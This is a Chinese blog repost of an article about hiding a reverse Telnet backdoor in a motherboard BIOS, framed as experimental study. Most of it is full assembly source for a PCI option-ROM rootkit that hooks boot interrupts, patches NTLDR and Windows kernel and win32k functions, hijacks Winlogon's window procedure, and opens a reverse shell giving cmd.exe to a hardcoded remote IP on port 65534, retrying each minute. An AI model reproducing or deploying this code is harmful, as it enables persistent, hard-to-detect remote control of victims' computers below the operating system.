zoukankan      html  css  js  c++  java
  • BIOS中隐藏Telnet后门

    来源:安全焦点
    作者:成松林 (cheng_5103_at_126.com)

    [项目简述]
    该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连接到指定的计算机接受CMD控制。

    [关于作者]
    姓名:成松林 QQ:179641795 Email:cheng_5103@126.com 本人对计算机的诸多技术都很有兴趣,常喜欢学习国外的开源项目,很佩服国外的计算机技术及知识。本人学历:中专,专业:计算机,年龄:25,工作:中专学 业完成后留校工作。废话:本人家景很穷,所以大学都未上成就工作,希望有志人士能教小弟赚钱。我文才很差,故文章中有语法及表达问题请大家多多谅解。

    [项目涉及的相关知识及技术标题]
    1、实验环境配置问题。
    2、刷新BIOS技术问题。
    3、代码植入BIOS问题。
    4、源代码的相关问题:
    A、如何编写BIOS模块如:PCI、ISA。
    B、实模式关于HOOK磁盘中断的问题。
    C、磁盘中断中选择再次HOOK的问题。
    D、NT保护模式下设置物理地址映射。
    E、NT保护模式下线性地址寻址问题。
    F、HOOK KeAddSystemServiceTable。
    G、HOOK NtUserRegisterClassExWOW。
    H、HOOK Winlogon SASWndProc过程。
    I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。
    5、源代码的其他技术:
    A、IVThook InLineHook SSDT Hook
    B、SEH PE PEB TIB
    C、Hash SharedUserData CheckSum
    6、......

    文章内容会在朋友的网站(51cto)上发布,文章还未整理好,相关的工具及相关的源代码会在以后整理发布.

    以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!

    调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.

    .586p                                                           ;编译工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隐藏Telnet后门.
    .Model Tiny                                                     ;作者:成松林,QQ:179641795,Emil:cheng_5103@126.com.实现源代码.
    ;*****************************************************************************************************************************************ROM_IMAGE_SIZE    equ 4                                         ;整个模块大小单位KB,固定大小4KB.
    CSL_KERNEL_DEST    equ 0FFDF0800h                                ;SharedUserData数据结构线性地址.
    CSL_USER_BACKDOOR    equ 07FFE0800h                                ;SharedUserData数据结构线性地址.
    ;*****************************************************************************************************************************************RealCode segment use16                          
    Code16Start:
    ;*****************************************************************************************************************************************      org     00h                                               ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****
          dw      0AA55h                                            ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****
          db      ROM_IMAGE_SIZE*2                                  ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****
          jmp     MyROMCodeStart                                    ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
          org     06h                                               ;####注意:编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:003h****
    ReturnOldROM:                                                   ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
          db      0e9h,0,0                                          ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
          db      'CHKSUM=',0                                       ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****    
    ;*****************************************************************************************************************************************      org     18h                                               ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程
          dd      34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡
    ;*****************************************************************************************************************************************MyROMCodeStart:
          pushf
          pushad
          push    es
          push    ds
    
          sti                                                       ;打开中断,以便接收键盘输入.
          mov     cx,0ffffh                                         ;等待,约为两二秒的按键消息.
          call    WaitPressScrollKey
          .if     !CARRY?                                           ;若按下Scroll Lock键,不运行我们的程序.
    ;*****************************************************************************************************************************************              xor     ax,ax
                  mov     es,ax
                  mov     eax,es:[19h*4]
                  mov     es:[84h*4],eax                            ;借用中断向量84H,保存中断向量19H.
    
                  mov     bx,es:[413h]                              ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
                  and     bl,NOT 3                                  ;注意:要求分配的物理内存地址,以页作为基地址 .
                  sub     bx,4                                      
                  mov     es:[413h],bx                              
                  shl     bx,(10-4)                                 ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
                  mov     es,bx                                    
                  xor     di,di                                     ;es:di -> 分配的实模式高端内存前半部分开始处.
                  
                  push    cs
                  pop     ds
                  call    GetCurrentAddr                            ;offset Code16End = offset Code32Start
                  GetCurrentAddr:
                  pop     si                                        ;si->GetCurrentAddr在内存的地址
                  mov     dx,si
                  
                  add     si,Code16End - GetCurrentAddr             ;ds:si->Code16End保护模式代码段内存的地址.
                  cld
                  mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝保护模式代码数据到分配内存的前半部分.
                  rep     movsd
                  
                  add     bx,100h                                  
                  mov     es,bx                                    
                  xor     di,di                                     ;es:0->分配的实模式高端内存后半部分开始处.
                  mov     si,dx
                  sub     si,GetCurrentAddr - Code16Start           ;ds:si->Code16Start实模式代码的内存的地址.
                  mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝  实模式代码数据到分配内存的后半部分.
                  rep     movsd
                
                  xor     bx,bx
                  mov     ds,bx
                  add     dx,NewINT19H - GetCurrentAddr             ;dx->NewINT19H内存的地址
                  mov     ds:[19h*4],dx
                  mov     ds:[(19h*4) + 2],es                       ;设置成我们的INT19H服务代码
    ;*****************************************************************************************************************************************      .endif
          pop     ds
          pop     es
          popad
          popf
          ;jmp     ReturnOldROM                                     ;跳转到原来的ROM代码的跳转处执行              
          retf
    ;*****************************************************************************************************************************************WaitPressScrollKey:                                             ;函数入口:CX=350约为10ms, 函数延时: 33(us)
          push    ax
          .repeat
                 in      al,60h
                 .if     al == 46h                                  ;Scroll Lock键扫描码:46h
                         stc
                         pop    ax
                         ret
                 .endif
                 in      al,61h  
                 test    al,010h  
                 .continue .if  !ZERO?
                 .repeat
                         in      al,61h  
                         test    al,10h  
                 .until  !ZERO?
                 dec    cx
          .until cx == 0
          clc
          pop    ax
          ret
    ;*****************************************************************************************************************************************NewINT19H:
          pushf
          ;cli
          push    eax
          push    es
          ;jmp     $                                                ;bochs调试1#.
          xor     ax,ax
          mov     es,ax            
          mov     eax,es:[84h*4]
          mov     es:[19h*4],eax                                    ;恢复中断向量19H值.
          mov     eax,es:[13h*4]
          .if     es:[85h*4] != eax
                  mov     es:[85h*4],eax                            ;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h~85h
                  mov     word ptr es:[13h*4],NewINT13H             ;设置NewINT13H在内存的地址.
                  mov     es:[(13h*4) + 2],cs                       ;设置成我们的INT13H服务代码
          .endif
    
          pop     es
          pop     eax
          popf                                                      ;恢复现场
          int     84h                                               ;调用旧的中断向量19H.
          iret      
    ;*****************************************************************************************************************************************NewINT13H:
          pushf                                                     ;有指令要改变标志寄存器值.
          test    ah, 0bdh                                          ;是不是读数据到内存?ah=02,ah=42h.
          .if     !ZERO?                                            ;ZF=0
                  popf
                  int    85h                                        ;调用旧的中断向量13H.
                  iret
          .endif
          mov     word ptr cs:[INT13LASTFUNCTION],ax
          popf
        
          
          int     85h                                               ;调用旧的中断向量13H.
          .if     CARRY?                                            ;CF=1,读失败退出服务
                  iret
          .endif
    
          pushf
          ;cli
          push   es
          pushad
          ;jmp    $                                                 ;bochs调试2#.可输入指令:u cs:ip + 2.观察INT13LASTFUNCTION的值.
          mov    ax,00h
    INT13LASTFUNCTION EQU $-2
          .if     ah == 42h
             lodsw
             lodsw                         ;参看"扩展INT13H规范"ds:[si + 2]指传输块数.
             les    bx,[si]                                    ;ds:[si + 04h]表示: 传输用的缓冲区内存地址.
          .endif
          .if     al != 00h
                  xor     cx,cx              
                  mov     cl,al
             mov     al,8Bh                                    ;设置搜索标志的第一个字节.
             shl     cx,9                                         ;(CX * 200h) 搜索搜索计数.
             mov     di,bx                         ;8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR [ofs32], imm8
                  cld                                               ;NTLDR OSLoder模块里的6字节做为标志,进行HOOK.注意:选择HOOK位置很关键!
                  .while   1                                  
                           repne     scasb      
                      .break    .if  !ZERO?
                           .continue .if  dword ptr es:[di] != 74F685F0h
                           .continue .if  word ptr es:[di+4] != 8021h
                                                                    ;(es:di - 1)->我们想被HOOK的指令代码开始处.
    
                           ;mov     byte ptr es:[di-8],0ebh         ;jmp $指令十六进制值0xebfe,设置在NTLDR暂停.
                           ;mov     byte ptr es:[di-7],0feh              
                           ;设置在NTLDR被HOOK指令处暂停:指令地址[0x31adf1]8:31adf1,注意:INT13H服务中读取NTLDR数据,
                           ;检测HOOK标识代码后,设置HOOK时用的指令及计算指令地址.因为NTLDR数据会被搬移到内存高端处.
    
                           xor     eax,eax                          
                           mov     ax,cs
                           sub     ax,100h                          ;ax->保护模式代码段
                           mov     bx,ax
                           shl     eax,4                            ;eax->保护模式代码段在内存的物理地址.
                      
                           mov     word ptr es:[di-1],15ffh         ;##FFh/15h:使用CALL NEAR [OFS32]指令进行NTLDR HOOK##
                           mov     es:[di+1],eax                    ;##设置CALL NEAR [OFS32]指令跳转地址,指令占6个字节##
                           ;通过上面获取NTLDR被HOOK处的运行地址:0x31adf1,用bochs调试暂停b 0x31adf1,观察我们的HOOK方式对否?.
                           mov     es,bx
                           or      es:[(KEASSTHOOK_PTE - Code32Start)],eax
                           add     eax,4                            ;eax->NTLDRCallAddr + 4,设置成我们的32位代码开始处执行.
                           mov     dword ptr es:[0],eax             ;es:[0]->保护模式段内变量NTLDRCallAddr所在内存虚拟地址.
                           ;jmp     $                               ;bochs调试3#可用xp es:di - 1观察HOOK情况及r显示寄存器.
                 .endw
          .endif  
          popad
          pop     es
          popf
          iret
    ;*****************************************************************************************************************************************Code16End:                                                      ;offset Code32Start = offset Code16End
    RealCode ends
    ;*****************************************************************************************************************************************ProtectCode segment byte use32                                  ;##########可工作在32位保护模式的代码#########
    Code32Start:                                                    ;offset NTLDRCallAddr = offset Code32Start = offset Code16End
          NTLDRCallAddr dd ?                                        
    
          ;jmp     $                                                ;bochs调试4#,参看在NewINT13H调试为什么没运行到这里?
          pushfd                                                    ;esp = esp + 04h
          pushad                                                    ;esp = esp + 20h
                                                                    ;扫描获取模块表基址(_BlLoaderData) 参看"NTLDR分析及源代码".
          mov     edi,[esp + 20h + 04h]                             ;edi->OSLOADER内部.
          and     edi,NOT 000FFFFFh                                 ;转换为镜像基地址 .
          cld
          mov     al,0c7h                                           ;C7h/46h/34h/00h/40h/00h/00h: MOV DWORD PTR [ESI+34h], 4000h
          .while  1
                  scasb      
                   .if     ZERO?
                        .break .if  dword ptr [edi] == 40003446h
                  .endif
          .endw
          mov     al,0A1H                                           ;A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]
          .while  1
                  scasb
                  .break  .if     ZERO?
          .endw
          mov     esi,[edi]                                         ;esi->模块链表的开始基地址  .
          mov     esi,[esi]                                         ;esi->模块链表中的第一个节点.
          lodsd
          mov     ebx,[eax+18h]                                     ;EBX = NTOSKRNL.EXE 在内存镜像的基地址.
                                                                    ;注意:这里不能直接调用NTOSKRNL导出函数.
          ;jmp     $
    ;*****************************************************************************************************************************************      call    PatchFunction_OverHookFunc                        ;跳转到KeASSTHook后面执行,安装HOOK问题.
    
    KeASSTHook:                                                     ;HOOK KeAddSystemServiceTable   该函数.
                                                                    ;lb 0x804c3bc6
          sub     dword ptr [esp],5                          ;修正ret指令返回地址为被HOOK函数开始处.
          pushad                                                    ;保护KeAddSystemServiceTable函数的现场.
          
          mov     eax,00000001h                                     ;KEASSTHOOK_PTE:保护模式代码的内存地址.
    KEASSTHOOK_PTE EQU $-4                                          
          xor     ecx,ecx
          mov     ch,((Code32End - Code32Start) + 100h) / 100h      ;注意:代码小于2k,以便放在用户数据空间 .
          mov     edx,0C0000000h                ;edx->4MB页目录表中的第一个二级页表项 .
          xor     esi,esi                         ;esi->我们的代码开始地址,以页为基地址 .
          mov     edi,CSL_KERNEL_DEST                     ;拷贝代码到SharedUserData数据空间中去 .
          xchg    [edx],eax                                         ;映射我们代码的物理地址到线性地址00000.
          wbinvd                                                    
          rep     movsb                                             ;SharedUserData 空间参看其他相关的教程.
          mov     [edx],eax                                         ;恢复线性地址00000000原来的映射物理页 .
          wbinvd                                                    ;bochs调试6#:NTOSKRNL.EXE镜像基址 + 64.
    
                                                                    ;保存被HOOK代码数据在堆栈中,后面恢复用.
          db      6Ah,0                    ;6Ah/xx: PUSH simm8
    KEASSTHOOK_DISPLACED4 EQU $-1
          pushd   0
    KEASSTHOOK_DISPLACED0 EQU $-4
                                                                    ;bochs调试8#:lb 0xffdf08a4映射地址之后.
          push    (CSL_KERNEL_DEST + (MyKeAddSystemServiceTable - Code32Start))
          ret                                 ;跳转到MyKeAddSystemServiceTable函数处.
    ;*****************************************************************************************************************************************PatchFunction_OverHookFunc:                                     ;KeAddSystemServiceTable HOOK 问题处理.
    
          pop     esi                                               ;esi->KeASSTHook 函数在内存的实际地址 .
          mov     ecx,PatchFunction_OverHookFunc - KeASSTHook       ;ecx = KeASSTHook 代码的长度,准备移动 .
                                                                    ;处理代码中的寻址问题,将KeASSTHook代码.
          lea     edi,[ebx+40h]                                     ;搬移到NTOSKRNL DOS MZ和PE头之间去执行.
          ;jmp     $                                                ;bochs调试5#,lb edi下一步运行在edi的值.
          mov     ebp, edi                         ;ebp用于后面HOOK时计算CALL rel 偏移用 .
          rep     movsb                                             ;指令:edi->PatchFunction_OverHookFunc .
          
          mov      edx,0A21CD4EEh                                   ;"KeAddSystemServiceTable",0  ->HASH值.
          call     PEApiHashFind                                    ;在NTOSKRNL模块中查找该函数以便HOOK用..
          ;jmp      $                                               ;bochs调试7#可以用到调试HOOK函数lb eax.
          xchg     esi,eax                                          ;指令:esi->KeAddSystemServiceTable函数.
    
          sub      edi,PatchFunction_OverHookFunc - KEASSTHOOK_DISPLACED0
          movsd                                                     ;InLine HOOK方式:保存被HOOK的代码数据 .
          sub          edi,KEASSTHOOK_DISPLACED0 + 4 - KEASSTHOOK_DISPLACED4
          movsb
    
          mov      byte ptr [esi-5],0e8h                     ;E8h/xx/xx/xx/xx:CALL rel 相关地址指令.
          sub      ebp,esi                                          ;调试例如:bochs调试5#edi lb 0x80400040.
          mov      dword ptr [esi-4],ebp                            ;call KeASSTHook,调试断点bochs调试5#处.
    
          popad
          popfd
    ;*****************************************************************************************************************************************                                                                ;模拟InLineHOOK NTLDR中的指令,并返回去.
          mov      esi,eax
          test     eax,eax
          jnz      short @F
          pushfd
          add      dword ptr [esp+4],21h
          popfd
    @@:
          ret
    ;*****************************************************************************************************************************************MyKeAddSystemServiceTable:                                      ;bochs调试8#:开始是多任务JMP $断点很慢.
                                                                    ;首先关闭HOOK NTOSKRNL.EXE!KeAddSystemServiceTable      
          mov     ebp,esp                                           ;bochs调试8#:lb 0xffdf08a4 u /50  查看.
          mov     edi,[ebp+8+20h]                     ;edi->KeAddSystemServiceTable 函数入口.
                                                                    
          mov     ecx,cr0
          mov     edx,ecx
          and     ecx,NOT 00010000h
          mov     cr0,ecx                                           ;CR0.WP关闭页保护功能,以便对当前页修改.
    
          pop     eax                                               ;恢复KeAddSystemServiceTable HOOK 数据.
          stosd
          pop     eax
          stosb
    
          mov     cr0,edx                                           ;恢复 CR0.WP位到原来的状态            .
    ;*****************************************************************************************************************************************      mov     esi,[ebp+8+28h]                                   ;esi->_W32pServiceTable     服务描述表.
          mov     ecx,[ebp+8+30h]                                   ;ecx:                       服务的数目.
          mov     edi,[ebp+8+34h]                                   ;edi:_W32pArgumentTable     服务参数表.
                                                                    ;具体参看"SSDT HOOK教程" ,讲解如何HOOK.
          .while  ecx > 0                                           ;HOOK win32k!NtUserRegisterClassExWOW .
                  lodsd
                  .if    byte ptr [edi] == 10h                      ;NtUserRegisterHotKey has 4 arguments .
                         mov    edx,20h
                         .while edx > 0
                                .if    byte ptr [eax] == 0f7h       ;F7h/0: TEST mem, imm
                                       mov    ebx,4                 ;search EAX+4..1 for bit mask of prohibited 'fsModifiers' flags
                                       .while ebx > 0
                                              .if    dword ptr [eax + ebx] == 0FFFF7FF0h    
                                                     inc     edi
                                                     .while  1      ;NtUserRegisterClassExWOW will have 6 or 7 arguments  
                                                             sub     esi,4
                                                             dec     edi  
                                                             .if     byte ptr [edi] >= 18h
                                                                     mov     eax,[esi]
                                                                     ;bochs调试9#:JMP $指令断点,在多线程下很慢,尽量采用断点命令.lb 0xffdf08f7
                                                                     mov     edi,(CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW-Code32Start))
                                                                     mov     [edi + (NTURCEWOW_ORIGINAL - MyNtUserRegisterClassExWOW)],eax
                                                                     mov     [esi],edi
                                                                     jmp     @F
                                                             .endif
                                                     .endw
                                              .endif
                                              dec    ebx
                                       .endw
                                .endif
                                inc    eax
                                dec    edx
                         .endw
                 .endif
                 inc     edi
                 dec     ecx
          .endw
    @@:      
    ;*****************************************************************************************************************************************      popad                                                     ;恢复KeAddSystemServiceTable函数的现场.
          ret                                                       ;返回KeAddSystemServiceTable函数去执行.
    ;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW:                                     ;win32k!NtUserRegisterClassExWOW HOOK .
    
          pushad                                                    ;bochs调试10#:lb 0xffdf091e 调试9#获取.
                                                                    ;使用bochs调试命令:x esp     u /50 eip.
          xor     eax,eax                                          
          
          push    (CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW_SEH - Code32Start))
          push    dword ptr fs:[eax]                                ;在堆栈建立异常结构
          mov     dword ptr fs:[eax],esp                            ;安装我们的异常处理,####调试发现安装的异常处理有时不能工作.####
    
          ;通过传来的参数检查类名是L"SAS window class" ,替换其'lpfnWndProc'过程,具体参看"win32应用程序窗口消息原理".
          mov     ebp,ds:[7FFE02B4h]                                ;EBP = MmHighestUserAddress
          mov     edx,[esp + 8 + 28h]                               ;edx->窗口类名,格式PUNICODE_STRING.
          .if     edx <= ebp
                  .if     word ptr [edx] == 16*2                    ;size of L"SAS window class" 检查字符数对不?
                          mov     esi,[edx + 4]                    
                          .if     esi <= ebp
                                  mov     ecx,16                    ;
                                  mov     edx,72ABEC2Dh        ;72ABEC2Dh <-- HASH("SAS window class")
                                  @@:
                                          lodsw
                                          sub     edx,eax
                                          ror     edx,7
                                  loop    @B
                                  .if     edx == 0                  ;替换窗口过程,前保存旧的过程在PEB中
                                          mov     esi,[esp + 8 +24h];esi->WNDCLASSEXW 类结构.
                                          .if     esi <= ebp
                                                  mov     ecx,fs:[edx + 18h]              ;ecx->用户TIB,线程信息块存放线程信息.
                                                  mov     ecx,[ecx +30h]                  ;ecx->    PEB,进程环境块存放进程信息.
                                                  .if     ecx <= ebp                      ;bochs调试11#:lb 0xffdf0971          
                                                          mov     eax,(CSL_USER_BACKDOOR + (MySASWndProc - Code32Start))
                                                          xchg    dword ptr [esi + 8],eax ;替换'lpfnWndProc'过程,为我们的过程.
                                                          mov     [ecx + 0eb0h],eax       ;PEB->0EB0h = 旧的'lpfnWndProc' (保存旧的SASWndProc)
                                                  .endif
                                          .endif
                                  .endif
                          .endif
                  .endif
          .endif
    
    ;*****************************************************************************************************************************************NTURCEWOW_Done:                                                 ;bochs调试11#:lb 0xffdf097f
          xor     eax,eax
          pop     dword ptr fs:[eax]                                ;移除堆栈的异常结构
          pop     ecx                                               ;移除我们的异常处理
          popad
          pushd   0                                                
    NTURCEWOW_ORIGINAL EQU $-4
          ret                                                       ;返回NtUserRegisterClassExWOWHook执行.
    ;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW_SEH:                                 ;注意:安装异常参看"win32应用程序设计".
          xor     eax,eax                                           ;lb 0xffdf098c 调试异常:兼容不很稳定 .
    
          cdq                                                       ;CDQ常用于除法运算之前调整EDX值.作用只是把EDX的所有位都设成EAX最高位的值.
          mov     dl,0B8h
          add     edx,[esp + 0Ch]                ;[esp + c]->Context.传过来的参数.
                                     ;Context->Eip
          mov     dword ptr [edx],(CSL_KERNEL_DEST + (NTURCEWOW_Done - Code32Start))
          ret
    ;*****************************************************************************************************************************************MySASWndProc:                                                   ;bochs调试12#: 程序现已运行在应用层下.
                                                                    ;lb 0x7ffe099c
          push    eax                                               ;eax:旧的SASWndProc地址,返回方法:popad ret.
          pushad
    
          xor     eax,eax
          mov     edx,fs:[eax+30h]                                  ;ptr to PEB
          
          mov     eax,[edx+0EB0h]                                   ;original SASWndProc address
          mov     [esp+20h],eax
    
          mov     eax,[esp+2Ch]                                     ;get 'uMsg' argument
          .if     eax == 0001h                                      ;WM_CREATE
                  mov     eax,[edx+0Ch]                             ;ptr to loader data
                  mov     ecx,[eax+1Ch]                             ;ptr to first module in initialization-order list
    
                  .repeat
                          mov     ebx,[ecx+8]                       ;module image base
                          mov     esi,[ecx+20h]                     ;ptr to module file name
                          mov     ecx,[ecx]                         ;ptr to next module
                          lodsb
                          or      al,20h
                  .until  al == 'k'                                 ;assume KERNEL32.DLL will be first module starting with 'K'
                                                                    ;EBX = KERNEL32 镜像基址 bochs调试13#:lb 0x7ffe09cc
                  ;mov     edi,(CSL_USER_BACKDOOR + (PEApiHashFind - Code32Start))
                  push    ebx                                       ;ebx:dwThreadID  变量使用堆栈.
                  push    esp                                       ;push addr dwThreadID
                  push    0
                  push    0
                  push    (CSL_USER_BACKDOOR + (TelnetShell - Code32Start))
                  push    0
                  push    0
                  mov     edx,3f1764e5h                             ;hash("CreateThread")=3f1764e5h
                  call    PEApiHashFind                             ;call     edi 是否需要这样调用?
                  call    eax                                       ;invoke CreateThread,NULL,0,offset TelnetShell,NULL,NULL,addr dwThreadID
                  pop     ebx                                       ;ebx:dwThreadID 去掉变量使用.
          .endif
          popad
          ret                                                       ;invoke original SASWndProc
    ;*****************************************************************************************************************************************TelnetShell:                                                    ;可用于安装在win2k/xp/2003 反向连接Telnet后门应用程序.
          xor     eax,eax                                           ;bochs调试14#:lb 0x7ffe09f0
          mov     edx,fs:[eax+30h]                                  ;ptr to PEB
          mov     eax,[edx+0Ch]                                     ;ptr to loader data
          mov     ecx,[eax+1Ch]                                     ;ptr to first module in initialization-order list
    
          .repeat
                  mov     ebx,[ecx+8]                               ;module image base
                  mov     esi,[ecx+20h]                             ;ptr to module file name
                  mov     ecx,[ecx]                                 ;ptr to next module
                  lodsb
                  or      al,20h
         .until  al == 'k'                                          ;assume KERNEL32.DLL will be first module starting with 'K'
                                                                    ;EBX = KERNEL32 image base
          mov     edi,ebx                                           ;edi = kernel32基址 bochs调试15#:lb 0x7ffe0a05
    TelnetShell_Strat:
          mov     ebp,esp                                           ;bochs调试15#:lb 0x7ffe0a07
    
          push    00003233h
          push    5f325357h                                         ;esp->"WS2_32"
          push    esp
          mov     edx,2e864192h                                     ;Hash("LoadLibraryA")=2e864192h
          call    PEApiHashFind
          call    eax                                               ;LoadLibraryA(&WS2_32DLL)返回EAX=装载DLL基址.
          mov     ebx,eax                                           ;ebx=WS2_32基址
    
          sub     esp,1ech                                          ;WSADATA struct
          push    esp                                               ;esp->WSADATA struct
          push    202h                                              ;VersionRequested 0x202h
          mov     edx,0c05a351eh                                    ;Hash("WSAStartup")=0c05a351eh
          call    PEApiHashFind
          call    eax                                               ;WSAStartup(0x101, &WSADATA)
    
          push    0
          push    0
          push    0
          push    6                                                 ;IPPROTO_TCP=6 IPPROTO_UDP=17
          push    1                                                 ;SOCK_STREAM=1 SOCK_DGRAM=2
          push    2                                                 ;AF_INET=2
          mov     edx,0ef3c1916h                                    ;Hash("WSASocketA")=0ef3c1916h
          call    PEApiHashFind
          call    eax                                               ;s=WSASocketA(2,1,6,0,0,0)
          mov     esi,eax                                           ;esi=socket s
    
          push    0265359dah                                        ;sockaddr_in.sin_addr;192.168.100.111(06f64a8c0h)
          push    0feff0002h                                        ;0x02=AF_INET(sin_family);0xfffe=65534(sin_port)
    
          ;.repeat
                  mov     edx,esp
                  push    10h                                       ;sizeof(sockaddr_in)
                  push    edx                                       ;esp->sockaddr_in struct
                  push    esi                                       ;socket s
                  mov     edx,5ddd8b01h                             ;Hash("connect")=5ddd8b01h
                  ;mov     ebx,edi                                  ;ebx=kernel32基址
                  call    PEApiHashFind
                  call    eax                                       ;IPPROTO_TCP c=connect(s, &address, sizeof(address))
          ;.until  eax == 0                                          ;连接成功
          mov     ebx,edi                                           ;ebx=kernel32基址
          .if     eax != 0
                  push    60000
                  mov     edx,0cb9765ah                             ;Hash("Sleep")=0cb9765ah
                  call    PEApiHashFind                            
                  call    eax                                       ;invoke Sleep,60000
                  mov     esp,ebp
                  mov     ebx,edi                                   ;ebx=kernel32基址
                  jmp     TelnetShell_Strat                         ;for another connection  
                  ;ret
          .endif
    
          push    646d63h                                           ;winNT(cmd.exe)
          mov     edx,esp                                           ;edx->file name
      
          push    esi                                               ;STARTUPINFOA.hStdError
          push    esi                                               ;STARTUPINFOA.hStdOutput
          push    esi                                               ;STARTUPINFOA.hStdInput
    
          push    0                      
          push    0                                                 ;wShowWindow cbReserved2                  
          push    101h                                              ;STARTUPINFO.dwFlags                                      
    
          mov     ecx,0fh
    @@:                              
          push    0                                                 ;STARTUPINFOA.cb ~ STARTUPINFOA.dwFillAttribute
          loop    @B
    
          lea     ecx,[esp+10h]                                     ;ecx->STARTUPINFOA.cb
          mov     dword ptr [ecx],44h                               ;STARTUPINFOA.CB=44h(len STARTUPINFOA)
    
          push    esp                                               ;esp->PROCESS_INFORMATION STRUCT(all 0)
          push    ecx                                               ;ecx->STARTUPINFOA STRUCT
          push    0
          push    0
          push    0
          push    1
          push    0
          push    0
          push    edx
          push    0
          mov     edx,4b5d35e6h                                     ;Hash("CreateProcessA")=4b5d35e6h
          call    PEApiHashFind
          call    eax                                               ;CreateProcessA(0, Addr"cmd.exe",0,0,1,0,0,0,si, pi)
    
          pop     ecx                                               ;PROCESS_INFORMATION.hProcess
    
          push    -1                                                ;time -1
          push    ecx
          mov     edx,8885abf2h                                     ;Hash("WaitForSingleObject")=8885abf2h
          call    PEApiHashFind
          call    eax                                               ;WaitForSingleObject(Handle, time)
          mov     esp,ebp
          mov     ebx,edi                                           ;ebx=kernel32基址
          jmp     TelnetShell_Strat                                 ;for another connection  
          ;ret
    ;*****************************************************************************************************************************************PEApiHashFind:                                                  ;入口:EBX=镜像基址 EDX=HASH32值 出口:eax=Api 地址,0表示未找到.
          xor     eax,eax                  
          pushad
          mov     ecx,[ebx+3Ch]                                     ;ecx = RVA of PE header
          mov     ebp,[ebx+ecx+78h]                                 ;ebp = RVA of export directory
          add     ebp,ebx                                           ;ebp -> ptr to export directory
          mov     ecx,[ebp+18h]                                     ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames
          mov     edi,[ebp+20h]                                     ;edi -> IMAGE_EXPORT_DIRECTORY::AddressOfNames
          add     edi,ebx
          .while  ecx > 0
                  dec     ecx
                  mov     esi,[edi+ecx*4]
                  add     esi,ebx                                   ;esi->API字符串在内存物理地址.
    
                  push    edx
                  .repeat
                          lodsb
                          sub     edx,eax
                          ror     edx,7
                  .until  eax == 0                                  ;字符结束
                  .if     edx == 0
                      pop    edx
                          .break
                  .endif
                    pop    edx
          .endw
          .if     ecx > 0
                  mov     edx,[ebp+024h]
                  add     edx,ebx                                   ;AddressofOrdinals
                  mov     cx,[edx+ecx*2]
                  mov     eax,[ebp+01ch]
                  add     eax,ebx                                   ;AddressOfFunctions      
                  add     ebx,[eax+ecx*4]
                  mov     [esp+1Ch], ebx                            ;overwrite saved EAX with ptr to export
          .endif
          popad
          ret
    ;*****************************************************************************************************************************************Code32End:                                                      ;感谢: eEye RootKit RomOS开源项目,国外的技术我们永远学不完.
    ProtectCode ends                                                ;有不正确的地方,成松林很高兴各位指出这样我才会学到更多知识.
    end   Code16Start 
    

     现在基本不研究远程控制了,但是又想知道点,特别是想在自己的电脑中添加后面程序,今天看到这篇文章,感觉不错,就copy过来,等待假期分析分析。

  • 相关阅读:
    一个好的时间函数
    Codeforces 785E. Anton and Permutation
    Codeforces 785 D. Anton and School
    Codeforces 510 E. Fox And Dinner
    Codeforces 242 E. XOR on Segment
    Codeforces 629 E. Famil Door and Roads
    Codeforces 600E. Lomsat gelral(Dsu on tree学习)
    Codeforces 438D The Child and Sequence
    Codeforces 729E Subordinates
    【ATcoder】D
  • 原文地址:https://www.cnblogs.com/tk091/p/2588547.html
Copyright © 2011-2022 走看看